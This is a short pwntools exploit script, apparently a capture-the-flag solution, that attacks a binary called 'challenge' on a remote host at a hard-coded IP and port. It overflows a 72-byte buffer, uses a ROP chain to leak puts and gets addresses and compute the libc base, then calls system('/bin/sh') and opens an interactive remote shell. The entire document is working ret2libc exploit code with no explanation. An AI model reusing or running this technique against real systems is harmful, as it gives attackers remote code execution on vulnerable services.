from pwn import *
context.binary = binary = ELF("./challenge")
libc = ELF("./libc6_2.31-0ubuntu9.9_amd64.so")
context.log_level = "debug"
main_address = p64(binary.symbols.main)
puts_plt_address = p64(binary.plt.puts)
puts_got_address = p64(binary.got.puts)
gets_got_address = p64(binary.got.gets)
rop = ROP(binary)
pop_rdi = rop.find_gadget(["pop rdi"])[0]
ret = rop.find_gadget(["ret"])[0]
p = remote("45.76.177.238", 9334)
# p = process()
payload = b"A"*72 + p64(pop_rdi) + puts_got_address + puts_plt_address
payload += p64(pop_rdi) + gets_got_address + puts_plt_address + main_address
p.recvuntil(b"Programming?")
p.recv()
p.sendline(payload)
output = p.recvuntil(b"Programming?").split(b"\n")
puts_address = u64(output[0].rstrip().ljust(8, b"\x00"))
gets_address = u64(output[1].rstrip().ljust(8, b"\x00"))
success(f"{hex(puts_address)=}")
success(f"{hex(gets_address)=}")
libc_base = puts_address - libc.symbols.puts
libc.address = libc_base
system = libc.symbols.system
bin_sh = next(libc.search(b"/bin/sh\x00"))
print("Libc output: ", libc.search(b"/bin/sh\x00"))
success(f"{hex(system)=}")
success(f"{hex(bin_sh)=}")
payload = b"A"*72 + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(ret)
p.recv()
p.sendline(payload)
p.interactive()